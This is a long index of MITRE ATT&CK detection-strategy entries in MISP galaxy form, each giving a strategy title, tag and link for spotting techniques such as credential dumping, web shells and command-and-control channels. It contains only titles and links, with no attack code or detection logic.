https://attack.mitre.org/detectionstrategies/DET0344

Detect abuse of Windows BITS Jobs for download, execution and persistence - DET0098

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect abuse of Windows BITS Jobs for download, execution and persistence - DET0098"*

Table 9841. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0098

Detection Strategy for Indicator Removal from Tools - Post-AV Evasion Modification - DET0189

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Indicator Removal from Tools - Post-AV Evasion Modification - DET0189"*

Table 9842. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0189

Behavior-chain detection for T1134.001 Access Token Manipulation: Token Impersonation/Theft on Windows - DET0482

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavior-chain detection for T1134.001 Access Token Manipulation: Token Impersonation/Theft on Windows - DET0482"*

Table 9843. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0482

Detection Strategy for T1546.016 - Event Triggered Execution via Installer Packages - DET0330

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1546.016 - Event Triggered Execution via Installer Packages - DET0330"*

Table 9844. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0330

Multi-Platform Shutdown or Reboot Detection via Execution and Host Status Events - DET0559

The tag is: *misp-galaxy:x-mitre-detection-strategy="Multi-Platform Shutdown or Reboot Detection via Execution and Host Status Events - DET0559"*

Table 9845. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0559

Detection of Malicious Control Panel Item Execution via control.exe or Rundll32 - DET0194

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Malicious Control Panel Item Execution via control.exe or Rundll32 - DET0194"*

Table 9846. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0194

Detection Strategy for Hijack Execution Flow through the AppDomainManager on Windows. - DET0517

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Hijack Execution Flow through the AppDomainManager on Windows. - DET0517"*

Table 9847. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0517

Detection Strategy for Hijack Execution Flow through Service Registry Premission Weakness. - DET0427

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Hijack Execution Flow through Service Registry Premission Weakness. - DET0427"*

Table 9848. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0427

Detection Strategy for Hijack Execution Flow through Services File Permissions Weakness. - DET0436

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Hijack Execution Flow through Services File Permissions Weakness. - DET0436"*

Table 9849. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0436

Detection Strategy for Hijack Execution Flow through the KernelCallbackTable on Windows. - DET0577

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Hijack Execution Flow through the KernelCallbackTable on Windows. - DET0577"*

Table 9850. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0577

Detection Strategy for SVG Smuggling with Script Execution and Delivery Behavior - DET0510

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for SVG Smuggling with Script Execution and Delivery Behavior - DET0510"*

Table 9851. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0510

Detect LSA Authentication Package Persistence via Registry and LSASS DLL Load - DET0207

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect LSA Authentication Package Persistence via Registry and LSASS DLL Load - DET0207"*

Table 9852. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0207

Internal Website and System Content Defacement via UI or Messaging Modifications - DET0082

The tag is: *misp-galaxy:x-mitre-detection-strategy="Internal Website and System Content Defacement via UI or Messaging Modifications - DET0082"*

Table 9853. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0082

Credential Dumping from SAM via Registry Dump and Local File Access - DET0085

The tag is: *misp-galaxy:x-mitre-detection-strategy="Credential Dumping from SAM via Registry Dump and Local File Access - DET0085"*

Table 9854. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0085

Behavioral Detection of T1498 – Network Denial of Service Across Platforms - DET0518

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of T1498 – Network Denial of Service Across Platforms - DET0518"*

Table 9855. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0518

Detection of Masqueraded Tasks or Services with Suspicious Naming and Execution - DET0117

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Masqueraded Tasks or Services with Suspicious Naming and Execution - DET0117"*

Table 9856. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0117

Behavioral Detection of Cloud Group Enumeration via API and CLI Access - DET0251

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Cloud Group Enumeration via API and CLI Access - DET0251"*

Table 9857. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0251

Behavioral Detection of Masquerading Across Platforms via Metadata and Execution Discrepancy - DET0127

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Masquerading Across Platforms via Metadata and Execution Discrepancy - DET0127"*

Table 9858. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0127

Detection Strategy for Encrypted Channel via Symmetric Cryptography across OS Platforms - DET0143

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Encrypted Channel via Symmetric Cryptography across OS Platforms - DET0143"*

Table 9859. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0143

Detection of Cached Domain Credential Dumping via Local Hash Cache Access - DET0513

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Cached Domain Credential Dumping via Local Hash Cache Access - DET0513"*

Table 9860. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0513

Detection Strategy for Disk Content Wipe via Direct Access and Overwrite - DET0316

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Disk Content Wipe via Direct Access and Overwrite - DET0316"*

Table 9861. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0316

Detection Strategy for Resource Hijacking: SMS Pumping via SaaS Application Logs - DET0156

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Resource Hijacking: SMS Pumping via SaaS Application Logs - DET0156"*

Table 9862. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0156

Domain Fronting Behavior via Mismatched TLS SNI and HTTP Host Headers - DET0196

The tag is: *misp-galaxy:x-mitre-detection-strategy="Domain Fronting Behavior via Mismatched TLS SNI and HTTP Host Headers - DET0196"*

Table 9863. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0196

Detection Strategy for Weaken Encryption: Reduce Key Space on Network Devices - DET0243

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Weaken Encryption: Reduce Key Space on Network Devices - DET0243"*

Table 9864. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0243

Detection Strategy for Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations - DET0492

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations - DET0492"*

Table 9865. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0492

Detection Strategy for Encrypted Channel via Asymmetric Cryptography across OS Platforms - DET0543

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Encrypted Channel via Asymmetric Cryptography across OS Platforms - DET0543"*

Table 9866. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0543

Detection Strategy for Weaken Encryption: Disable Crypto Hardware on Network Devices - DET0494

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Weaken Encryption: Disable Crypto Hardware on Network Devices - DET0494"*

Table 9867. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0494

Detection of Abused or Compromised Cloud Accounts for Access and Persistence - DET0546

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Abused or Compromised Cloud Accounts for Access and Persistence - DET0546"*

Table 9868. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0546

Detecting Unauthorized Collection from Messaging Applications in SaaS and Office Environments - DET0567

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detecting Unauthorized Collection from Messaging Applications in SaaS and Office Environments - DET0567"*

Table 9869. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0567

Detection Strategy for Steganographic Abuse in File & Script Execution - DET0119

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Steganographic Abuse in File & Script Execution - DET0119"*

Table 9870. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0119

Detection of File Transfer Protocol-Based C2 (FTP, FTPS, SMB, TFTP) - DET0416

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of File Transfer Protocol-Based C2 (FTP, FTPS, SMB, TFTP) - DET0416"*

Table 9871. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0416

Backup Software Discovery via CLI, Registry, and Process Inspection (T1518.002) - DET0088

The tag is: *misp-galaxy:x-mitre-detection-strategy="Backup Software Discovery via CLI, Registry, and Process Inspection (T1518.002) - DET0088"*

Table 9872. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0088

Socket-filter trigger → on-host raw-socket activity → reverse connection (T1205.002) - DET0162

The tag is: *misp-galaxy:x-mitre-detection-strategy="Socket-filter trigger → on-host raw-socket activity → reverse connection (T1205.002) - DET0162"*

Table 9873. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0162

Detect Mark-of-the-Web (MOTW) Bypass via Container and Disk Image Files - DET0257

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Mark-of-the-Web (MOTW) Bypass via Container and Disk Image Files - DET0257"*

Table 9874. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0257

Behavior-chain detection for T1134.005 Access Token Manipulation: SID-History Injection (Windows) - DET0136

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavior-chain detection for T1134.005 Access Token Manipulation: SID-History Injection (Windows) - DET0136"*

Table 9875. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0136

Exploitation for Client Execution – cross-platform behavior chain (browser/Office/3rd-party apps) - DET0287

The tag is: *misp-galaxy:x-mitre-detection-strategy="Exploitation for Client Execution – cross-platform behavior chain (browser/Office/3rd-party apps) - DET0287"*

Table 9876. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0287

Detect abuse of Trusted Relationships (third-party and delegated admin access) - DET0488

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect abuse of Trusted Relationships (third-party and delegated admin access) - DET0488"*

Table 9877. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0488

Detection Strategy for T1505.005 – Terminal Services DLL Modification (Windows) - DET0212

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1505.005 – Terminal Services DLL Modification (Windows) - DET0212"*

Table 9878. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0212

Detection Strategy for T1548.002 – Bypass User Account Control (UAC) - DET0388

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1548.002 – Bypass User Account Control (UAC) - DET0388"*

Table 9879. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0388

Detection Strategy for Extra Window Memory (EWM) Injection on Windows - DET0217

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Extra Window Memory (EWM) Injection on Windows - DET0217"*

Table 9880. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0217

Detect unauthorized LSASS driver persistence via LSA plugin abuse (Windows) - DET0225

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect unauthorized LSASS driver persistence via LSA plugin abuse (Windows) - DET0225"*

Table 9881. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0225

Detect Abuse of vSphere Installation Bundles (VIBs) for Persistent Access - DET0535

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Abuse of vSphere Installation Bundles (VIBs) for Persistent Access - DET0535"*

Table 9882. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0535

Detecting Steganographic Command and Control via File + Network Correlation - DET0235

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detecting Steganographic Command and Control via File + Network Correlation - DET0235"*

Table 9883. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0235

Direct Network Flood Detection across IaaS, Linux, Windows, and macOS - DET0343

The tag is: *misp-galaxy:x-mitre-detection-strategy="Direct Network Flood Detection across IaaS, Linux, Windows, and macOS - DET0343"*

Table 9884. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0343

Detection of Web Protocol-Based C2 Over HTTP, HTTPS, or WebSockets - DET0027

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Web Protocol-Based C2 Over HTTP, HTTPS, or WebSockets - DET0027"*

Table 9885. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0027

Detect Time-Based Evasion via Sleep, Timer Loops, and Delayed Execution - DET0141

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Time-Based Evasion via Sleep, Timer Loops, and Delayed Execution - DET0141"*

Table 9886. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0141

Detect Office Startup-Based Persistence via Macros, Forms, and Registry Hooks - DET0398

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Office Startup-Based Persistence via Macros, Forms, and Registry Hooks - DET0398"*

Table 9887. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0398

Detection of Msiexec Abuse for Local, Network, and DLL Execution - DET0158

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Msiexec Abuse for Local, Network, and DLL Execution - DET0158"*

Table 9888. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0158

Multi-event Detection Strategy for RDP-Based Remote Logins and Post-Access Activity - DET0327

The tag is: *misp-galaxy:x-mitre-detection-strategy="Multi-event Detection Strategy for RDP-Based Remote Logins and Post-Access Activity - DET0327"*

Table 9889. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0327

Windows Detection Strategy for T1547.012 - Print Processor DLL Persistence - DET0026

The tag is: *misp-galaxy:x-mitre-detection-strategy="Windows Detection Strategy for T1547.012 - Print Processor DLL Persistence - DET0026"*

Table 9890. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0026

Detection Strategy for Dynamic API Resolution via Hash-Based Function Lookups - DET0091

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Dynamic API Resolution via Hash-Based Function Lookups - DET0091"*

Table 9891. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0091

Behavioral Detection Strategy for Exfiltration Over Symmetric Encrypted Non-C2 Protocol - DET0503

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection Strategy for Exfiltration Over Symmetric Encrypted Non-C2 Protocol - DET0503"*

Table 9892. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0503

Cross-Platform Detection of Cron Job Abuse for Persistence and Execution - DET0290

The tag is: *misp-galaxy:x-mitre-detection-strategy="Cross-Platform Detection of Cron Job Abuse for Persistence and Execution - DET0290"*

Table 9893. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0290

Detecting Mshta-based Proxy Execution via Suspicious HTA or Script Invocation - DET0506

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detecting Mshta-based Proxy Execution via Suspicious HTA or Script Invocation - DET0506"*

Table 9894. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0506

Detection Strategy for LC_LOAD_DYLIB Modification in Mach-O Binaries on macOS - DET0216

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for LC_LOAD_DYLIB Modification in Mach-O Binaries on macOS - DET0216"*

Table 9895. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0216

Detection of Cloud Service Dashboard Usage via GUI-Based Cloud Access - DET0291

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Cloud Service Dashboard Usage via GUI-Based Cloud Access - DET0291"*

Table 9896. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0291

Behavioral Detection of Mailbox Data and Log Deletion for Anti-Forensics - DET0266

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Mailbox Data and Log Deletion for Anti-Forensics - DET0266"*

Table 9897. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0266

Behavioral Detection Strategy for Remote Service Logins and Post-Access Activity - DET0269

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection Strategy for Remote Service Logins and Post-Access Activity - DET0269"*

Table 9898. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0269

Detect Network Logon Script Abuse via Multi-Event Correlation on Windows - DET0367

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Network Logon Script Abuse via Multi-Event Correlation on Windows - DET0367"*

Table 9899. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0367

Behavioral Detection of Remote SSH Logins Followed by Post-Login Execution - DET0596

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Remote SSH Logins Followed by Post-Login Execution - DET0596"*

Table 9900. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0596

Detection Strategy for Subvert Trust Controls via Install Root Certificate. - DET0056

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Subvert Trust Controls via Install Root Certificate. - DET0056"*

Table 9901. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0056

Detection of Disabled or Modified System Firewalls across OS Platforms. - DET0145

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Disabled or Modified System Firewalls across OS Platforms. - DET0145"*

Table 9902. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0145

Detect Access and Parsing of .bash_history Files for Credential Harvesting - DET0385

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Access and Parsing of .bash_history Files for Credential Harvesting - DET0385"*

Table 9903. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0385

Detection Strategy for Hijack Execution Flow using the Windows COR_PROFILER. - DET0479

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Hijack Execution Flow using the Windows COR_PROFILER. - DET0479"*

Table 9904. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0479

Detect Forced SMB/WebDAV Authentication via lure files and outbound NTLM - DET0022

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Forced SMB/WebDAV Authentication via lure files and outbound NTLM - DET0022"*

Table 9905. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0022

Detection Strategy for Poisoned Pipeline Execution via SaaS CI/CD Workflows - DET0533

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Poisoned Pipeline Execution via SaaS CI/CD Workflows - DET0533"*

Table 9906. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0533

Detecting OS Credential Dumping via /proc Filesystem Access on Linux - DET0593

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detecting OS Credential Dumping via /proc Filesystem Access on Linux - DET0593"*

Table 9907. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0593

Detect Conditional Access Policy Modification in Identity and Cloud Platforms - DET0030

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Conditional Access Policy Modification in Identity and Cloud Platforms - DET0030"*

Table 9908. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0030

Detecting Abnormal SharePoint Data Mining by Privileged or Rare Users - DET0500

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detecting Abnormal SharePoint Data Mining by Privileged or Rare Users - DET0500"*

Table 9909. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0500

Renamed Legitimate Utility Execution with Metadata Mismatch and Suspicious Path - DET0005

The tag is: *misp-galaxy:x-mitre-detection-strategy="Renamed Legitimate Utility Execution with Metadata Mismatch and Suspicious Path - DET0005"*

Table 9910. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0005

Removable Media Execution Chain Detection via File and Process Activity - DET0301

The tag is: *misp-galaxy:x-mitre-detection-strategy="Removable Media Execution Chain Detection via File and Process Activity - DET0301"*

Table 9911. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0301

Invalid Code Signature Execution Detection via Metadata and Behavioral Context - DET0031

The tag is: *misp-galaxy:x-mitre-detection-strategy="Invalid Code Signature Execution Detection via Metadata and Behavioral Context - DET0031"*

Table 9912. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0031

Detection Strategy for File Creation or Modification of Boot Files - DET0150

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for File Creation or Modification of Boot Files - DET0150"*

Table 9913. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0150

Detection of Proxy Execution via Trusted Signed Binaries Across Platforms - DET0081

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Proxy Execution via Trusted Signed Binaries Across Platforms - DET0081"*

Table 9914. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0081

Behavioral Detection Strategy for Abuse of Sudo and Sudo Caching - DET0052

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection Strategy for Abuse of Sudo and Sudo Caching - DET0052"*

Table 9915. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0052

Behavioral Detection of Log File Clearing on Linux and macOS - DET0520

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Log File Clearing on Linux and macOS - DET0520"*

Table 9916. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0520

Detect Persistence via Outlook Custom Forms Triggered by Malicious Email - DET0029

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Persistence via Outlook Custom Forms Triggered by Malicious Email - DET0029"*

Table 9917. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0029

Detection Strategy for Endpoint DoS via Application or System Exploitation - DET0304

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Endpoint DoS via Application or System Exploitation - DET0304"*

Table 9918. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0304

Behavioral Detection of User Discovery via Local and Remote Enumeration - DET0093

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of User Discovery via Local and Remote Enumeration - DET0093"*

Table 9919. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0093

Detection of Local Account Abuse for Initial Access and Persistence - DET0407

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Local Account Abuse for Initial Access and Persistence - DET0407"*

Table 9920. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0407

Detection Strategy for Modify Cloud Compute Infrastructure: Delete Cloud Instance - DET0084

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Modify Cloud Compute Infrastructure: Delete Cloud Instance - DET0084"*

Table 9921. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0084

Detect Remote Email Collection via Abnormal Login and Programmatic Access - DET0048

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Remote Email Collection via Abnormal Login and Programmatic Access - DET0048"*

Table 9922. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0048

Detection Strategy for Spearphishing via a Service across OS Platforms - DET0115

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Spearphishing via a Service across OS Platforms - DET0115"*

Table 9923. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0115

Detection Strategy for Data Transfer Size Limits and Chunked Exfiltration - DET0213

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Data Transfer Size Limits and Chunked Exfiltration - DET0213"*

Table 9924. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0213

Detection of Suspicious Scheduled Task Creation and Execution on Windows - DET0441

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Suspicious Scheduled Task Creation and Execution on Windows - DET0441"*

Table 9925. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0441

Windows COM Hijacking Detection via Registry and DLL Load Correlation - DET0481

The tag is: *misp-galaxy:x-mitre-detection-strategy="Windows COM Hijacking Detection via Registry and DLL Load Correlation - DET0481"*

Table 9926. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0481

Detect Persistence via Office Template Macro Injection or Registry Hijack - DET0519

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Persistence via Office Template Macro Injection or Registry Hijack - DET0519"*

Table 9927. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0519

Detection Strategy for Junk Code Obfuscation with Suspicious Execution Patterns - DET0322

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Junk Code Obfuscation with Suspicious Execution Patterns - DET0322"*

Table 9928. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0322

Detect Modification of Network Device Authentication via Patched System Images - DET0272

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Modification of Network Device Authentication via Patched System Images - DET0272"*

Table 9929. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0272

Detection Strategy for Network Device Configuration Dump via Config Repositories - DET0233

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Network Device Configuration Dump via Config Repositories - DET0233"*

Table 9930. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0233

Detection of Event Log Clearing on Windows via Behavioral Chain - DET0532

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Event Log Clearing on Windows via Behavioral Chain - DET0532"*

Table 9931. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0532

Detection Strategy for Boot or Logon Initialization Scripts: RC Scripts - DET0237

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Boot or Logon Initialization Scripts: RC Scripts - DET0237"*

Table 9932. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0237

Detection Strategy for Data from Configuration Repository on Network Devices - DET0592

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Data from Configuration Repository on Network Devices - DET0592"*

Table 9933. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0592

Detect Gatekeeper Bypass via Quarantine Flag and Trust Control Manipulation - DET0288

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Gatekeeper Bypass via Quarantine Flag and Trust Control Manipulation - DET0288"*

Table 9934. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0288

Detection Strategy for Modify Cloud Compute Infrastructure: Revert Cloud Instance - DET0337

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Modify Cloud Compute Infrastructure: Revert Cloud Instance - DET0337"*

Table 9935. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0337

Detection of LSA Secrets Dumping via Registry and Memory Extraction - DET0437

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of LSA Secrets Dumping via Registry and Memory Extraction - DET0437"*

Table 9936. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0437

Detection Strategy for Masquerading via Legitimate Resource Name or Location - DET0347

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Masquerading via Legitimate Resource Name or Location - DET0347"*

Table 9937. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0347

Web Shell Detection via Server Behavior and File Execution Chains - DET0394

The tag is: *misp-galaxy:x-mitre-detection-strategy="Web Shell Detection via Server Behavior and File Execution Chains - DET0394"*

Table 9938. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0394

Detection Strategy for Modify Cloud Compute Infrastructure: Create Cloud Instance - DET0449

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Modify Cloud Compute Infrastructure: Create Cloud Instance - DET0449"*

Table 9939. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0449

Detection of Trust Relationship Modifications in Domain or Tenant Policies - DET0458

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Trust Relationship Modifications in Domain or Tenant Policies - DET0458"*

Table 9940. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0458

Detection Strategy for Event Triggered Execution via emond on macOS - DET0555

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Event Triggered Execution via emond on macOS - DET0555"*

Table 9941. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0555

Detection of Mail Protocol-Based C2 Activity (SMTP, IMAP, POP3) - DET0135

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Mail Protocol-Based C2 Activity (SMTP, IMAP, POP3) - DET0135"*

Table 9942. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0135

Port-knock → rule/daemon change → first successful connect (T1205.001) - DET0302

The tag is: *misp-galaxy:x-mitre-detection-strategy="Port-knock → rule/daemon change → first successful connect (T1205.001) - DET0302"*

Table 9943. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0302

Detection Strategy for T1505.002 - Transport Agent Abuse (Windows/Linux) - DET0166

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1505.002 - Transport Agent Abuse (Windows/Linux) - DET0166"*

Table 9944. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0166

Detection Strategy for T1550.002 - Pass the Hash (Windows) - DET0409

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1550.002 - Pass the Hash (Windows) - DET0409"*

Table 9945. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0409

Detection Strategy for T1550.003 - Pass the Ticket (Windows) - DET0352

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1550.003 - Pass the Ticket (Windows) - DET0352"*

Table 9946. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0352

Behavior-chain detection for T1134.002 Create Process with Token (Windows) - DET0456

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavior-chain detection for T1134.002 Create Process with Token (Windows) - DET0456"*

Table 9947. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0456

Compromised software/update chain (installer/write → first-run/child → egress/signature anomaly) - DET0309

The tag is: *misp-galaxy:x-mitre-detection-strategy="Compromised software/update chain (installer/write → first-run/child → egress/signature anomaly) - DET0309"*

Table 9948. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0309

Suspicious Database Access and Dump Activity Across Environments (T1213.006) - DET0242

